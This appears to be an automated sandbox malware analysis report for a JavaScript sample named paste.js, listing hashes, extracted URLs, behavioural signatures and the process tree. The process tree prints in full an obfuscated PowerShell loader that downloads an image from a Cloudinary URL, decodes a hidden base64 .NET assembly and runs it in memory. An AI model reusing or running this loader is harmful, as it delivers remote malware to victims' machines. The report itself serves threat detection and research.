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Analysis
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max time kernel
14s -
max time network
18s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
29/01/2025, 19:04
Static task
static1
Behavioral task
behavioral1
Sample
paste.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
paste.js
Resource
win10v2004-20241007-en
General
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Target
paste.js
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Size
3KB
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MD5
affbcba0899f7fb6af87418706eabb0c
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SHA1
46e4e6b23c523a45a65dbd916f98f5476a4cd09a
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SHA256
6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8
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SHA512
68acae9c905e545f6d1fcec0255a4d13b9f0c8ddafb597b0ea2a686a6349d089a6736e6355cad19086ca66ad4c12e5ab732dc20990230636e3b5dbab374bc6f0
Malware Config
Extracted
https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg
https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1636 powershell.exe 7 1636 powershell.exe -
pid Process 1636 powershell.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1636 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1636 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1704 wrote to memory of 1636 1704 wscript.exe 29 PID 1704 wrote to memory of 1636 1704 wscript.exe 29 PID 1704 wrote to memory of 1636 1704 wscript.exe 29
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\paste.js1⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b